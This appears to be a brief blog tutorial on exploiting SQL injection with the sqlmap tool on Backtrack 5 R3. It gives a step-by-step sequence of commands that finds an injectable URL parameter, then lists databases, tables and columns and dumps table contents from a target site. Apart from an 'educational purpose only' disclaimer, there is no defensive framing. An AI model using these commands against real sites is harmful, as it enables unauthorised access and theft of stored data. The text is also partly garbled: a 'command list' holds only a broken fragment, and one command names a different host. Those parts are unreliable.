Sqlmap is the best sql injection tool on Backtrack 5 R3. It's popular and powerful. In this tutorial, I will share my experience using Sqlmap after read the usage of Sqlmap.  Now let's learn how to use sqlmap to exploit a vulnerable web application but remember one thing, this post is for educational purpose only.To understand this tutorial you should have a basic skill about database (mysql).

This is Sqlmap command list:

    get target urls from

Lets say you have a url like this
http://www.site.com/section.php?id=51

Added a single quote in the parameter and you will see an error
http://www.site.com/section.php?id=51'

Now run Sqlmap to the url
python sqlmap.py -u "http://www.site.com/section.php?id=51"

To discover databases run this command
python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs


Find tables in the database
python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D [database name]

Get columns of a table
python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D [database name] -T [table]

Get data of the table
python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D [database name] -T [table]
